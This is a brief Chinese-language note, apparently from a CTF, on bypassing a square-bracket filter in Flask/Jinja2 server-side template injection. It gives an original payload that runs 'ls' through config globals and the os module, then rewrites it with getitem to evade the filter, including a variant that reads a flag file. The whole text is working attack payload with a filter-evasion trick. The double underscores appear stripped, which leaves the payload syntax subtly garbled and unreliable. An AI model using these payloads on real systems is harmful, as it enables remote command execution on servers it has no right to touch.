过滤中括号

原payload：
{{ config.class.init.globals[‘os’].popen(‘ls’).read() }}
中括号能用getitem绕过
{{ config.class.init.globals.getitem(‘os’).popen(‘ls’).read() }}
{{ config.class.init.globals.getitem(‘os’).popen(‘cat flag’).read() }}